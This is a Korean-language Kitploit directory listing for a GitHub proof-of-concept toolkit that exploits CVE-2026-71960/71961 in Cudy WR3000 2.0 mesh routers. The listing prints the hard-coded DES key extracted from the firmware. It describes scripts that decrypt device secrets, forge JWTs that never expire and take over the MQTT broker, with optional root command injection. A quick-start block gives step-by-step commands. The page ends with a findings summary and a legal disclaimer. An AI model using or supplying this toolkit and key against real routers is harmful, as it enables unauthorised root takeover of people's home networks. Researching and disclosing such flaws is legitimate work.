Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt — 라우터 펌웨어를 언패킹하고, 장치 비밀정보를 복호화하며, JWT 토큰을 위조하고, CVE-2026-71960/71961을 악용하여 Cudy WR3000 메시 MQTT 브로커를 장악하는 PoC 툴킷입니다. | Kitploit
도구/GitHubGitHub/hunt-benito/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt
IoT SecurityExploitationNetwork SecurityCryptographyPenetration TestingAuthenticationFirmware Analysis
GitHubhunt-benito/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

라우터 펌웨어를 언패킹하고, 장치 비밀정보를 복호화하며, JWT 토큰을 위조하고, CVE-2026-71960/71961을 악용하여 Cudy WR3000 메시 MQTT 브로커를 장악하는 PoC 툴킷입니다.

저장소 보기
11일 전아직 검토되지 않음

CVE-2026-71960 — Cudy WR3000 2.0 메시 MQTT 브로커의 하드코딩된 JWT 시크릿

Hunt-Benito 기사를 위한 PoC 도구 모음 "The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)

동일한 MQTT 메시 인터페이스를 통한 OS 명령 주입 취약점인 CVE-2026-71961과 연계하여, 2.5.24 이전 펌웨어를 실행하는 Cudy WR3000 2.0 메시의 모든 노드에서 루트 명령 실행까지 도달할 수 있습니다.

구성 내용

파일용도
extract_firmware.py공개된 Cudy sysupgrade .bin(hboot1tag + UBI)을 전체 OpenWrt 파일시스템으로 압축 해제합니다. 2.4.14 / 2.4.15 / 2.5.24에서 검증되었습니다.
decrypt_bdinfo.pyDES 키(DES_string_to_key("88T3j05dtFu8="), 제로 IV — libbdinfo.so에서 추출)를 도출하고, 본인 기기의 bdinfo MTD 덤프를 복호화하여 deviceid와 플릿 전체 공용 secret을 노출합니다.
forge_jwt.pymosquitto_auth_unpwd_check의 모든 검사를 통과하는 HS256 토큰을 발행합니다(exp 하한 1577826000, deviceid를 포함한 username grant). 라운드트립 자체 검증을 수행합니다.
mqtt_takeover.py위조된 JWT로 TCP 1883의 브로커에 CONNECT하고 router/#를 구독하며, (선택적으로 --cmd로) CVE-2026-71961의 command.lua → io.popen 싱크를 실행합니다.

빠른 시작

root@kitploit:~
pip install pycryptodome pyjwt paho-mqtt

# 1. 공개 펌웨어 압축 해제 (기기 불필요)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs

# 2. 이미지에 DES 키 리터럴이 포함되어 있는지 확인
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
#   88T3j05dtFu8=

# 3. 본인 기기의 bdinfo 덤프 복호화 (2.4.x는 /dev/mtd* 노출)
python3 decrypt_bdinfo.py bdinfo.bin

# 4. 복구된 deviceid/secret으로 토큰 위조
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'

# 5. 수동: 인증 후 메시 네트워크에서 수신 대기
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'

발견 사항 요약

  • auth_plugin_jwt.so는 브로커 시작 시 bdinfo_get_value("deviceid")와 bdinfo_get_value("secret")을 호출하며, 이 secret 값은 모든 메시 JWT의 HS256 서명 키입니다.
  • 플러그인의 exp 검사는 exp >= 1577826000(2019-12-31T21:00:00Z)이며, time() 호출 결과와 비교하지 않으므로 토큰은 실제로 만료되지 않습니다.
  • alg: none은 거부됩니다(키가 제공되면 EINVAL 발생). 즉, secret이 실제로 필요하며 alg 혼동 우회 경로는 없습니다.
  • mosquitto_auth_acl_check()는 무조건 SUCCESS를 반환하므로, 인증된 CONNECT는 모든 토픽에 대한 읽기/쓰기 권한을 부여합니다.
  • 평문 리스너 0.0.0.0:1883(2.4.x)은 TLS 클라이언트 인증서가 필요 없음을 의미합니다. 수정된 펌웨어 2.5.24는 1883 리스너를 제거하고, bdinfo secret을 완전히 삭제하며, 상호 TLS에 의존합니다.

법적 고지

승인된 보안 연구 및 교육 목적으로만 사용하십시오. 소유했거나 명시적인 서면 테스트 허가를 받은 기기에 대해서만 실행하십시오. 저자는 오용에 대해 책임을 지지 않습니다.

출처

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71960
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71961
  • VulnCheck 권고: https://www.vulncheck.com/advisories/cudy-wr3000-hard-coded-jwt-secret-authentication-bypass-via-mqtt
  • Cudy 펌웨어: https://www.cudy.com/en-us/pages/download-center/wr3000-2-0
도구 다운로드